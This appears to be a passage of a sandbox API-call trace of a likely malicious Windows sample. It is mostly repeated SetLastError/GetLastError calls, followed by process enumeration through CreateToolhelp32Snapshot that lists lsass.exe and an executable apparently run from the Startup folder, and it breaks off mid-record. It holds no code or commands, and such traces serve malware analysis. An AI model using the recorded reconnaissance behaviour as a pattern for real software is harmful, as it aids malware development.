[0271.786] SetLastError (dwErrCode=0x0) [0271.786] GetLastError () returned 0x0 [0271.786] SetLastError (dwErrCode=0x0) [0271.786] GetLastError () returned 0x0 [0271.786] SetLastError (dwErrCode=0x0) [0271.786] GetLastError () returned 0x0 [0271.786] SetLastError (dwErrCode=0x0) [0271.786] GetLastError () returned 0x0 [0271.786] SetLastError (dwErrCode=0x0) [0271.786] GetLastError () returned 0x0 [0271.786] SetLastError (dwErrCode=0x0) [0271.786] GetLastError () returned 0x0 [0271.786] SetLastError (dwErrCode=0x0) [0271.786] GetLastError () returned 0x0 [0271.786] SetLastError (dwErrCode=0x0) [0271.786] GetLastError () returned 0x0 [0271.787] SetLastError (dwErrCode=0x0) [0271.787] GetLastError () returned 0x0 [0271.787] SetLastError (dwErrCode=0x0) [0271.787] GetLastError () returned 0x0 [0271.787] SetLastError (dwErrCode=0x0) [0271.787] GetLastError () returned 0x0 [0271.787] SetLastError (dwErrCode=0x0) [0271.787] GetLastError () returned 0x0 [0271.787] SetLastError (dwErrCode=0x0) [0271.787] GetLastError () returned 0x0 [0271.787] SetLastError (dwErrCode=0x0) [0271.787] GetLastError () returned 0x0 [0271.787] SetLastError (dwErrCode=0x0) [0271.787] GetLastError () returned 0x0 [0271.787] SetLastError (dwErrCode=0x0) [0271.787] GetLastError () returned 0x0 [0271.787] SetLastError (dwErrCode=0x0) [0271.787] GetLastError () returned 0x0 [0271.787] SetLastError (dwErrCode=0x0) [0271.787] GetLastError () returned 0x0 [0271.787] SetLastError (dwErrCode=0x0) [0271.787] GetLastError () returned 0x0 [0271.787] SetLastError (dwErrCode=0x0) [0271.788] GetLastError () returned 0x0 [0271.788] SetLastError (dwErrCode=0x0) [0271.788] GetLastError () returned 0x0 [0271.788] SetLastError (dwErrCode=0x0) [0271.788] GetLastError () returned 0x0 [0271.788] SetLastError (dwErrCode=0x0) [0271.788] GetLastError () returned 0x0 [0271.788] SetLastError (dwErrCode=0x0) [0271.788] GetLastError () returned 0x0 [0271.788] SetLastError (dwErrCode=0x0) [0271.788] GetLastError () returned 0x0 [0271.788] SetLastError (dwErrCode=0x0) [0271.788] GetLastError () returned 0x0 [0271.789] SetLastError (dwErrCode=0x0) [0271.789] GetLastError () returned 0x0 [0271.789] SetLastError (dwErrCode=0x0) [0271.789] GetLastError () returned 0x0 [0271.789] SetLastError (dwErrCode=0x0) [0271.789] GetLastError () returned 0x0 [0271.789] SetLastError (dwErrCode=0x0) [0271.789] GetLastError () returned 0x0 [0271.789] SetLastError (dwErrCode=0x0) [0271.789] GetLastError () returned 0x0 [0271.789] SetLastError (dwErrCode=0x0) [0271.789] GetLastError () returned 0x0 [0271.789] SetLastError (dwErrCode=0x0) [0271.789] GetLastError () returned 0x0 [0271.789] SetLastError (dwErrCode=0x0) [0271.789] GetLastError () returned 0x0 [0271.789] SetLastError (dwErrCode=0x0) [0271.789] GetLastError () returned 0x0 [0271.789] SetLastError (dwErrCode=0x0) [0271.789] GetLastError () returned 0x0 [0271.789] SetLastError (dwErrCode=0x0) [0271.789] GetLastError () returned 0x0 [0271.789] SetLastError (dwErrCode=0x0) [0271.789] GetLastError () returned 0x0 [0271.790] SetLastError (dwErrCode=0x0) [0271.790] GetLastError () returned 0x0 [0271.790] SetLastError (dwErrCode=0x0) [0271.790] GetLastError () returned 0x0 [0271.790] SetLastError (dwErrCode=0x0) [0271.790] GetLastError () returned 0x0 [0271.790] SetLastError (dwErrCode=0x0) [0271.790] GetLastError () returned 0x0 [0271.790] SetLastError (dwErrCode=0x0) [0271.790] GetLastError () returned 0x0 [0271.790] SetLastError (dwErrCode=0x0) [0271.790] GetLastError () returned 0x0 [0271.790] SetLastError (dwErrCode=0x0) [0271.790] GetLastError () returned 0x0 [0271.790] SetLastError (dwErrCode=0x0) [0271.790] GetLastError () returned 0x0 [0271.790] SetLastError (dwErrCode=0x0) [0271.790] GetLastError () returned 0x0 [0271.790] SetLastError (dwErrCode=0x0) [0271.790] GetLastError () returned 0x0 [0271.790] SetLastError (dwErrCode=0x0) [0271.791] GetLastError () returned 0x0 [0271.791] SetLastError (dwErrCode=0x0) [0271.791] GetLastError () returned 0x0 [0271.791] SetLastError (dwErrCode=0x0) [0271.791] GetLastError () returned 0x0 [0271.791] SetLastError (dwErrCode=0x0) [0271.791] GetLastError () returned 0x0 [0271.791] SetLastError (dwErrCode=0x0) [0271.791] GetLastError () returned 0x0 [0271.791] SetLastError (dwErrCode=0x0) [0271.791] GetLastError () returned 0x0 [0271.791] SetLastError (dwErrCode=0x0) [0271.791] GetLastError () returned 0x0 [0271.791] SetLastError (dwErrCode=0x0) [0271.791] GetLastError () returned 0x0 [0271.791] SetLastError (dwErrCode=0x0) [0271.791] GetLastError () returned 0x0 [0271.791] SetLastError (dwErrCode=0x0) [0271.791] GetLastError () returned 0x0 [0271.791] SetLastError (dwErrCode=0x0) [0271.791] GetLastError () returned 0x0 [0271.791] SetLastError (dwErrCode=0x0) [0271.791] GetLastError () returned 0x0 [0271.792] SetLastError (dwErrCode=0x0) [0271.792] GetLastError () returned 0x0 [0271.792] SetLastError (dwErrCode=0x0) [0271.792] GetLastError () returned 0x0 [0271.792] SetLastError (dwErrCode=0x0) [0271.792] GetLastError () returned 0x0 [0271.918] SetLastError (dwErrCode=0x0) [0271.918] GetLastError () returned 0x0 [0271.918] SetLastError (dwErrCode=0x0) [0271.918] GetLastError () returned 0x0 [0271.918] SetLastError (dwErrCode=0x0) [0271.918] GetLastError () returned 0x0 [0271.918] SetLastError (dwErrCode=0x0) [0271.918] GetLastError () returned 0x0 [0271.918] SetLastError (dwErrCode=0x0) [0271.918] GetLastError () returned 0x0 [0271.918] SetLastError (dwErrCode=0x0) [0271.918] GetLastError () returned 0x0 [0271.918] SetLastError (dwErrCode=0x0) [0271.918] GetLastError () returned 0x0 [0271.918] SetLastError (dwErrCode=0x0) [0271.918] GetLastError () returned 0x0 [0271.919] SetLastError (dwErrCode=0x0) [0271.919] GetLastError () returned 0x0 [0271.919] SetLastError (dwErrCode=0x0) [0271.919] GetLastError () returned 0x0 [0271.919] SetLastError (dwErrCode=0x0) [0271.919] GetLastError () returned 0x0 [0271.919] SetLastError (dwErrCode=0x0) [0271.919] GetLastError () returned 0x0 [0271.919] SetLastError (dwErrCode=0x0) [0271.919] GetLastError () returned 0x0 [0271.919] SetLastError (dwErrCode=0x0) [0271.919] GetLastError () returned 0x0 [0271.919] SetLastError (dwErrCode=0x0) [0271.919] GetLastError () returned 0x0 [0271.919] SetLastError (dwErrCode=0x0) [0271.919] GetLastError () returned 0x0 [0271.919] SetLastError (dwErrCode=0x0) [0271.919] GetLastError () returned 0x0 [0271.920] SetLastError (dwErrCode=0x0) [0271.920] GetLastError () returned 0x0 [0271.920] SetLastError (dwErrCode=0x0) [0271.920] GetLastError () returned 0x0 [0271.920] SetLastError (dwErrCode=0x0) [0271.920] GetLastError () returned 0x0 [0271.920] SetLastError (dwErrCode=0x0) [0271.920] GetLastError () returned 0x0 [0271.920] SetLastError (dwErrCode=0x0) [0271.920] GetLastError () returned 0x0 [0271.920] SetLastError (dwErrCode=0x0) [0271.920] GetLastError () returned 0x0 [0271.920] SetLastError (dwErrCode=0x0) [0271.920] GetLastError () returned 0x0 [0271.920] SetLastError (dwErrCode=0x0) [0271.920] GetLastError () returned 0x0 [0271.920] SetLastError (dwErrCode=0x0) [0271.920] GetLastError () returned 0x0 [0271.920] SetLastError (dwErrCode=0x0) [0271.920] GetLastError () returned 0x0 [0271.920] SetLastError (dwErrCode=0x0) [0271.920] GetLastError () returned 0x0 [0271.920] SetLastError (dwErrCode=0x0) [0271.920] GetLastError () returned 0x0 [0271.921] SetLastError (dwErrCode=0x0) [0271.921] GetLastError () returned 0x0 [0271.921] SetLastError (dwErrCode=0x0) [0271.921] GetLastError () returned 0x0 [0271.921] SetLastError (dwErrCode=0x0) [0271.921] GetLastError () returned 0x0 [0271.921] SetLastError (dwErrCode=0x0) [0271.921] GetLastError () returned 0x0 [0271.921] SetLastError (dwErrCode=0x0) [0271.921] GetLastError () returned 0x0 [0271.921] SetLastError (dwErrCode=0x0) [0271.921] GetLastError () returned 0x0 [0271.921] SetLastError (dwErrCode=0x0) [0271.921] GetLastError () returned 0x0 [0271.921] SetLastError (dwErrCode=0x0) [0271.921] GetLastError () returned 0x0 [0271.921] SetLastError (dwErrCode=0x0) [0271.921] GetLastError () returned 0x0 [0271.921] SetLastError (dwErrCode=0x0) [0271.921] GetLastError () returned 0x0 [0271.921] SetLastError (dwErrCode=0x0) [0271.921] GetLastError () returned 0x0 [0271.921] SetLastError (dwErrCode=0x0) [0271.921] GetLastError () returned 0x0 [0271.922] SetLastError (dwErrCode=0x0) [0271.922] GetLastError () returned 0x0 [0271.922] SetLastError (dwErrCode=0x0) [0271.922] GetLastError () returned 0x0 [0271.922] SetLastError (dwErrCode=0x0) [0271.922] GetLastError () returned 0x0 [0271.922] SetLastError (dwErrCode=0x0) [0271.922] GetLastError () returned 0x0 [0271.922] SetLastError (dwErrCode=0x0) [0271.922] GetLastError () returned 0x0 [0271.922] SetLastError (dwErrCode=0x0) [0271.922] GetLastError () returned 0x0 [0271.922] SetLastError (dwErrCode=0x0) [0271.922] GetLastError () returned 0x0 [0271.922] SetLastError (dwErrCode=0x0) [0271.922] GetLastError () returned 0x0 [0271.922] SetLastError (dwErrCode=0x0) [0271.922] GetLastError () returned 0x0 [0271.922] SetLastError (dwErrCode=0x0) [0271.922] GetLastError () returned 0x0 [0271.922] SetLastError (dwErrCode=0x0) [0271.922] GetLastError () returned 0x0 [0271.922] SetLastError (dwErrCode=0x0) [0271.922] GetLastError () returned 0x0 [0271.922] SetLastError (dwErrCode=0x0) [0271.923] GetLastError () returned 0x0 [0271.923] SetLastError (dwErrCode=0x0) [0271.923] GetLastError () returned 0x0 [0271.923] SetLastError (dwErrCode=0x0) [0271.923] GetLastError () returned 0x0 [0271.923] SetLastError (dwErrCode=0x0) [0271.923] GetLastError () returned 0x0 [0271.923] SetLastError (dwErrCode=0x0) [0271.923] GetLastError () returned 0x0 [0271.923] SetLastError (dwErrCode=0x0) [0271.923] GetLastError () returned 0x0 [0271.923] SetLastError (dwErrCode=0x0) [0271.923] GetLastError () returned 0x0 [0271.923] SetLastError (dwErrCode=0x0) [0271.923] GetLastError () returned 0x0 [0271.923] SetLastError (dwErrCode=0x0) [0271.923] GetLastError () returned 0x0 [0271.923] SetLastError (dwErrCode=0x0) [0271.923] GetLastError () returned 0x0 [0271.923] SetLastError (dwErrCode=0x0) [0271.923] GetLastError () returned 0x0 [0271.923] SetLastError (dwErrCode=0x0) [0271.923] GetLastError () returned 0x0 [0271.923] SetLastError (dwErrCode=0x0) [0271.923] GetLastError () returned 0x0 [0271.924] SetLastError (dwErrCode=0x0) [0271.924] GetLastError () returned 0x0 [0271.924] SetLastError (dwErrCode=0x0) [0271.924] GetLastError () returned 0x0 [0271.924] SetLastError (dwErrCode=0x0) [0271.924] GetLastError () returned 0x0 [0271.924] SetLastError (dwErrCode=0x0) [0271.924] GetLastError () returned 0x0 [0271.924] SetLastError (dwErrCode=0x0) [0271.924] GetLastError () returned 0x0 [0271.924] SetLastError (dwErrCode=0x0) [0271.924] GetLastError () returned 0x0 [0271.924] SetLastError (dwErrCode=0x0) [0271.924] GetLastError () returned 0x0 [0271.924] SetLastError (dwErrCode=0x0) [0271.924] GetLastError () returned 0x0 [0271.924] SetLastError (dwErrCode=0x0) [0271.924] GetLastError () returned 0x0 [0271.924] SetLastError (dwErrCode=0x0) [0271.924] GetLastError () returned 0x0 [0271.924] SetLastError (dwErrCode=0x0) [0271.924] GetLastError () returned 0x0 [0271.924] SetLastError (dwErrCode=0x0) [0271.924] GetLastError () returned 0x0 [0271.925] SetLastError (dwErrCode=0x0) [0271.925] GetLastError () returned 0x0 [0271.925] SetLastError (dwErrCode=0x0) [0271.925] GetLastError () returned 0x0 [0271.925] SetLastError (dwErrCode=0x0) [0271.925] GetLastError () returned 0x0 [0271.925] SetLastError (dwErrCode=0x0) [0271.925] GetLastError () returned 0x0 [0271.925] SetLastError (dwErrCode=0x0) [0271.925] GetLastError () returned 0x0 [0271.925] SetLastError (dwErrCode=0x0) [0271.925] GetLastError () returned 0x0 [0271.925] SetLastError (dwErrCode=0x0) [0271.925] GetLastError () returned 0x0 [0271.925] SetLastError (dwErrCode=0x0) [0271.925] GetLastError () returned 0x0 [0271.925] SetLastError (dwErrCode=0x0) [0271.925] GetLastError () returned 0x0 [0271.925] SetLastError (dwErrCode=0x0) [0271.925] GetLastError () returned 0x0 [0271.925] SetLastError (dwErrCode=0x0) [0271.925] GetLastError () returned 0x0 [0271.925] SetLastError (dwErrCode=0x0) [0271.925] GetLastError () returned 0x0 [0271.926] SetLastError (dwErrCode=0x0) [0271.926] GetLastError () returned 0x0 [0271.926] SetLastError (dwErrCode=0x0) [0271.926] GetLastError () returned 0x0 [0271.926] SetLastError (dwErrCode=0x0) [0271.926] GetLastError () returned 0x0 [0271.926] SetLastError (dwErrCode=0x0) [0271.926] GetLastError () returned 0x0 [0271.926] SetLastError (dwErrCode=0x0) [0271.926] GetLastError () returned 0x0 [0271.926] SetLastError (dwErrCode=0x0) [0271.926] GetLastError () returned 0x0 [0271.926] SetLastError (dwErrCode=0x0) [0271.926] GetLastError () returned 0x0 [0271.926] SetLastError (dwErrCode=0x0) [0271.926] GetLastError () returned 0x0 [0271.926] SetLastError (dwErrCode=0x0) [0271.926] GetLastError () returned 0x0 [0271.926] SetLastError (dwErrCode=0x0) [0271.926] GetLastError () returned 0x0 [0271.926] SetLastError (dwErrCode=0x0) [0271.926] GetLastError () returned 0x0 [0271.926] SetLastError (dwErrCode=0x0) [0271.926] GetLastError () returned 0x0 [0271.927] SetLastError (dwErrCode=0x0) [0271.927] GetLastError () returned 0x0 [0271.927] SetLastError (dwErrCode=0x0) [0271.927] GetLastError () returned 0x0 [0271.927] SetLastError (dwErrCode=0x0) [0271.927] GetLastError () returned 0x0 [0271.927] SetLastError (dwErrCode=0x0) [0271.927] GetLastError () returned 0x0 [0271.927] SetLastError (dwErrCode=0x0) [0271.927] GetLastError () returned 0x0 [0271.927] SetLastError (dwErrCode=0x0) [0271.927] GetLastError () returned 0x0 [0271.927] SetLastError (dwErrCode=0x0) [0271.927] GetLastError () returned 0x0 [0271.927] SetLastError (dwErrCode=0x0) [0271.927] GetLastError () returned 0x0 [0271.927] SetLastError (dwErrCode=0x0) [0271.927] GetLastError () returned 0x0 [0271.927] SetLastError (dwErrCode=0x0) [0271.927] GetLastError () returned 0x0 [0271.927] SetLastError (dwErrCode=0x0) [0271.928] GetLastError () returned 0x0 [0271.928] SetLastError (dwErrCode=0x0) [0271.928] GetLastError () returned 0x0 [0271.928] SetLastError (dwErrCode=0x0) [0271.928] GetLastError () returned 0x0 [0271.928] SetLastError (dwErrCode=0x0) [0271.928] GetLastError () returned 0x0 [0271.928] SetLastError (dwErrCode=0x0) [0271.928] GetLastError () returned 0x0 [0271.928] SetLastError (dwErrCode=0x0) [0271.928] GetLastError () returned 0x0 [0271.928] SetLastError (dwErrCode=0x0) [0271.928] GetLastError () returned 0x0 [0271.928] SetLastError (dwErrCode=0x0) [0271.928] GetLastError () returned 0x0 [0271.928] SetLastError (dwErrCode=0x0) [0271.928] GetLastError () returned 0x0 [0271.928] SetLastError (dwErrCode=0x0) [0271.928] GetLastError () returned 0x0 [0271.928] SetLastError (dwErrCode=0x0) [0271.928] GetLastError () returned 0x0 [0271.929] SetLastError (dwErrCode=0x0) [0271.929] GetLastError () returned 0x0 [0271.929] SetLastError (dwErrCode=0x0) [0271.929] GetLastError () returned 0x0 [0271.929] SetLastError (dwErrCode=0x0) [0271.929] GetLastError () returned 0x0 [0271.929] SetLastError (dwErrCode=0x0) [0271.929] GetLastError () returned 0x0 [0271.929] SetLastError (dwErrCode=0x0) [0271.929] GetLastError () returned 0x0 [0271.929] SetLastError (dwErrCode=0x0) [0271.929] GetLastError () returned 0x0 [0271.929] SetLastError (dwErrCode=0x0) [0271.929] GetLastError () returned 0x0 [0271.929] SetLastError (dwErrCode=0x0) [0271.929] GetLastError () returned 0x0 [0271.930] SetLastError (dwErrCode=0x0) [0271.930] GetLastError () returned 0x0 [0271.930] SetLastError (dwErrCode=0x0) [0271.930] GetLastError () returned 0x0 [0271.930] SetLastError (dwErrCode=0x0) [0271.930] GetLastError () returned 0x0 [0271.930] SetLastError (dwErrCode=0x0) [0271.930] GetLastError () returned 0x0 [0271.930] SetLastError (dwErrCode=0x0) [0271.930] GetLastError () returned 0x0 [0271.930] SetLastError (dwErrCode=0x0) [0271.930] GetLastError () returned 0x0 [0271.930] SetLastError (dwErrCode=0x0) [0271.930] GetLastError () returned 0x0 [0271.930] SetLastError (dwErrCode=0x0) [0271.930] GetLastError () returned 0x0 [0271.930] SetLastError (dwErrCode=0x0) [0271.930] GetLastError () returned 0x0 [0271.930] SetLastError (dwErrCode=0x0) [0271.930] GetLastError () returned 0x0 [0271.930] SetLastError (dwErrCode=0x0) [0271.930] GetLastError () returned 0x0 [0271.930] SetLastError (dwErrCode=0x0) [0271.930] GetLastError () returned 0x0 [0271.931] SetLastError (dwErrCode=0x0) [0271.931] GetLastError () returned 0x0 [0271.931] SetLastError (dwErrCode=0x0) [0271.931] GetLastError () returned 0x0 [0271.931] SetLastError (dwErrCode=0x0) [0271.931] GetLastError () returned 0x0 [0271.931] SetLastError (dwErrCode=0x0) [0271.931] GetLastError () returned 0x0 [0271.931] SetLastError (dwErrCode=0x0) [0271.931] GetLastError () returned 0x0 [0271.931] SetLastError (dwErrCode=0x0) [0271.931] GetLastError () returned 0x0 [0271.931] SetLastError (dwErrCode=0x0) [0271.931] GetLastError () returned 0x0 [0271.931] SetLastError (dwErrCode=0x0) [0271.931] GetLastError () returned 0x0 [0271.931] SetLastError (dwErrCode=0x0) [0271.931] GetLastError () returned 0x0 [0271.931] SetLastError (dwErrCode=0x0) [0271.931] GetLastError () returned 0x0 [0271.931] SetLastError (dwErrCode=0x0) [0271.931] GetLastError () returned 0x0 [0271.931] SetLastError (dwErrCode=0x0) [0271.931] GetLastError () returned 0x0 [0271.932] SetLastError (dwErrCode=0x0) [0271.932] GetLastError () returned 0x0 [0271.932] SetLastError (dwErrCode=0x0) [0271.932] GetLastError () returned 0x0 [0271.932] SetLastError (dwErrCode=0x0) [0271.932] GetLastError () returned 0x0 [0271.932] SetLastError (dwErrCode=0x0) [0271.932] GetLastError () returned 0x0 [0271.932] SetLastError (dwErrCode=0x0) [0271.932] GetLastError () returned 0x0 [0271.932] SetLastError (dwErrCode=0x0) [0271.932] GetLastError () returned 0x0 [0271.932] SetLastError (dwErrCode=0x0) [0271.932] GetLastError () returned 0x0 [0271.932] SetLastError (dwErrCode=0x0) [0271.932] GetLastError () returned 0x0 [0271.932] SetLastError (dwErrCode=0x0) [0271.932] GetLastError () returned 0x0 [0271.932] SetLastError (dwErrCode=0x0) [0271.932] GetLastError () returned 0x0 [0271.932] SetLastError (dwErrCode=0x0) [0271.932] GetLastError () returned 0x0 [0271.932] SetLastError (dwErrCode=0x0) [0271.932] GetLastError () returned 0x0 [0271.933] SetLastError (dwErrCode=0x0) [0271.933] GetLastError () returned 0x0 [0271.933] SetLastError (dwErrCode=0x0) [0271.933] GetLastError () returned 0x0 [0271.933] SetLastError (dwErrCode=0x0) [0271.933] GetLastError () returned 0x0 [0271.933] SetLastError (dwErrCode=0x0) [0271.933] GetLastError () returned 0x0 [0271.933] SetLastError (dwErrCode=0x0) [0271.933] GetLastError () returned 0x0 [0271.933] SetLastError (dwErrCode=0x0) [0271.933] GetLastError () returned 0x0 [0271.933] SetLastError (dwErrCode=0x0) [0271.933] GetLastError () returned 0x0 [0271.933] SetLastError (dwErrCode=0x0) [0271.933] GetLastError () returned 0x0 [0271.933] SetLastError (dwErrCode=0x0) [0271.933] GetLastError () returned 0x0 [0271.933] SetLastError (dwErrCode=0x0) [0271.933] GetLastError () returned 0x0 [0271.933] SetLastError (dwErrCode=0x0) [0271.933] GetLastError () returned 0x0 [0271.933] SetLastError (dwErrCode=0x0) [0271.933] GetLastError () returned 0x0 [0271.934] SetLastError (dwErrCode=0x0) [0271.934] GetLastError () returned 0x0 [0271.934] SetLastError (dwErrCode=0x0) [0271.934] GetLastError () returned 0x0 [0271.934] SetLastError (dwErrCode=0x0) [0271.934] GetLastError () returned 0x0 [0271.934] SetLastError (dwErrCode=0x0) [0271.934] GetLastError () returned 0x0 [0271.934] SetLastError (dwErrCode=0x0) [0271.934] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x29c [0271.935] Process32FirstW (in: hSnapshot=0x29c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0271.936] Process32NextW (in: hSnapshot=0x29c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0271.936] Process32NextW (in: hSnapshot=0x29c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0271.936] Process32NextW (in: hSnapshot=0x29c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0271.936] Process32NextW (in: hSnapshot=0x29c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0271.937] Process32NextW (in: hSnapshot=0x29c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0271.937] Process32NextW (in: hSnapshot=0x29c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0271.937] Process32NextW (in: hSnapshot=0x29c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0271.937] Process32NextW (in: hSnapshot=0x29c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0271.938] Process32NextW (in: hSnapshot=0x29c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0271.938] Process32NextW (in: hSnapshot=0x29c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.938] Process32NextW (in: hSnapshot=0x29c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.939] Process32NextW (in: hSnapshot=0x29c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.939] Process32NextW (in: hSnapshot=0x29c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.939] Process32NextW (in: hSnapshot=0x29c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.940] Process32NextW (in: hSnapshot=0x29c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0271.940] Process32NextW (in: hSnapshot=0x29c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.940] Process32NextW (in: hSnapshot=0x29c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0271.940] Process32NextW (in: hSnapshot=0x29c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x308, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0271.940] Process32NextW (in: hSnapshot=0x29c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0271.941] Process32NextW (in: hSnapshot=0x29c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.941] Process32NextW (in: hSnapshot=0x29c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0271.941] Process32NextW (in: hSnapshot=0x29c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x378, pcPriClassBase=8, dwFlags=0x0, szExeFile="cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe")) returned 1 [0271.941] Process32NextW (in: hSnapshot=0x29c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0271.942] Process32NextW (in: hSnapshot=0x29c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0271.942] Process32NextW (in: hSnapshot=0x29c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, 